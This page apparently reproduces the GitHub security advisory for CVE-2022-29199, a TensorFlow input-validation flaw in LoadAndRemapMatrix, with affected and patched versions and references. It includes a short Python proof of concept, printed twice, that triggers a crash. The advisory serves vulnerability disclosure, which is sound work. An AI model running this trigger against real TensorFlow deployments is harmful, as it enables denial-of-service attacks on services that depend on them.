Security
Headlines
HeadlinesLatestCVEs

Headline

GHSA-p9rc-rmr5-529j: Missing validation causes denial of service via `LoadAndRemapMatrix`

Impact

The implementation of tf.raw_ops.LoadAndRemapMatrix does not fully validate the input arguments. This results in a CHECK-failure which can be used to trigger a denial of service attack:

import tensorflow as tf

ckpt_path = tf.constant(
    "/tmp/warm_starting_util_test5kl2a3pc/tmpph76tep2/model-0", shape=[], dtype=tf.string)
old_tensor_name = tf.constant(
    "/tmp/warm_starting_util_test5kl2a3pc/tmpph76tep2/model-0", shape=[], dtype=tf.string)

row_remapping = tf.constant(0, shape=[], dtype=tf.int64)
col_remapping = tf.constant(3, shape=[3], dtype=tf.int64)
initializing_values = tf.constant([], shape=[0, 1], dtype=tf.float32)

tf.raw_ops.LoadAndRemapMatrix(
  ckpt_path=ckpt_path,
  old_tensor_name=old_tensor_name,
  row_remapping=row_remapping,
  col_remapping=col_remapping,
  initializing_values=initializing_values,
  num_rows=1,
  num_cols=1)

The code assumes initializing_values is a vector but there is no validation for this before accessing its value:

OP_REQUIRES_OK(context, context->input("row_remapping", &row_remapping_t));
const auto row_remapping = row_remapping_t->vec<int64_t>();

Patches

We have patched the issue in GitHub commit 3150642acbbe254e3c3c5d2232143fa591855ac9.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.

ghsa
#vulnerability#dos#git
  1. GitHub Advisory Database
  2. GitHub Reviewed
  3. CVE-2022-29199

Missing validation causes denial of service via `LoadAndRemapMatrix`

Moderate severity GitHub Reviewed Published May 24, 2022 in tensorflow/tensorflow • Updated May 24, 2022

We are still processing this advisory. You may have affected repositories that are not yet on this list. Check back soon for more.

Package

pip tensorflow (pip )

Affected versions

< 2.6.4

>= 2.7.0, < 2.7.2

>= 2.8.0, < 2.8.1

Patched versions

2.6.4

2.7.2

2.8.1

Package

pip tensorflow-cpu (pip )

Affected versions

< 2.6.4

>= 2.7.0, < 2.7.2

>= 2.8.0, < 2.8.1

Patched versions

2.6.4

2.7.2

2.8.1

Package

pip tensorflow-gpu (pip )

Affected versions

< 2.6.4

>= 2.7.0, < 2.7.2

>= 2.8.0, < 2.8.1

Patched versions

2.6.4

2.7.2

2.8.1

Impact

The implementation of tf.raw_ops.LoadAndRemapMatrix does not fully validate the input arguments. This results in a CHECK-failure which can be used to trigger a denial of service attack:

import tensorflow as tf

ckpt_path = tf.constant( "/tmp/warm_starting_util_test5kl2a3pc/tmpph76tep2/model-0", shape=[], dtype=tf.string) old_tensor_name = tf.constant( "/tmp/warm_starting_util_test5kl2a3pc/tmpph76tep2/model-0", shape=[], dtype=tf.string)

row_remapping = tf.constant(0, shape=[], dtype=tf.int64) col_remapping = tf.constant(3, shape=[3], dtype=tf.int64) initializing_values = tf.constant([], shape=[0, 1], dtype=tf.float32)

tf.raw_ops.LoadAndRemapMatrix( ckpt_path=ckpt_path, old_tensor_name=old_tensor_name, row_remapping=row_remapping, col_remapping=col_remapping, initializing_values=initializing_values, num_rows=1, num_cols=1)

The code assumes initializing_values is a vector but there is no validation for this before accessing its value:

OP_REQUIRES_OK(context, context->input("row_remapping", &row_remapping_t)); const auto row_remapping = row_remapping_t->vec<int64_t>();

Patches

We have patched the issue in GitHub commit 3150642acbbe254e3c3c5d2232143fa591855ac9.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.

References

  • GHSA-p9rc-rmr5-529j
  • https://nvd.nist.gov/vuln/detail/CVE-2022-29199
  • tensorflow/tensorflow@3150642
  • https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/load_and_remap_matrix_op.cc#L70-L98
  • https://github.com/tensorflow/tensorflow/releases/tag/v2.6.4
  • https://github.com/tensorflow/tensorflow/releases/tag/v2.7.2
  • https://github.com/tensorflow/tensorflow/releases/tag/v2.8.1
  • https://github.com/tensorflow/tensorflow/releases/tag/v2.9.0

Related news

CVE-2022-29199

TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, the implementation of `tf.raw_ops.LoadAndRemapMatrix does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack. The code assumes `initializing_values` is a vector but there is no validation for this before accessing its value. Versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4 contain a patch for this issue.

CVE-2022-29207: Release TensorFlow 2.6.4 · tensorflow/tensorflow

TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, multiple TensorFlow operations misbehave in eager mode when the resource handle provided to them is invalid. In graph mode, it would have been impossible to perform these API calls, but migration to TF 2.x eager mode opened up this vulnerability. If the resource handle is empty, then a reference is bound to a null pointer inside TensorFlow codebase (various codepaths). This is undefined behavior. Versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4 contain a patch for this issue.